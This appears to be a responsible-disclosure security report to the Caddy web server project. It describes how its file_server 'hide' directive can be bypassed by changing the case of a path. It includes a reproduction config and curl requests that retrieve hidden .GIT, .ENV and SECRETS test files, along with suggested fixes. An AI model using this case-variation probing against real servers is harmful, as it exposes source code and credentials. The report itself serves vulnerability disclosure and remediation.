Details
Suggested fix
Wrap the body read with a LimitReader keyed off either:
- The operator's configured
request_body.max_size(if set), or - A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
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Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the
casefoldflag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
.git/HEAD+.git/config+.git/objects/→ source code disclosure.env→ credentials, API keys, database connection stringssecrets/→ operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
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Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.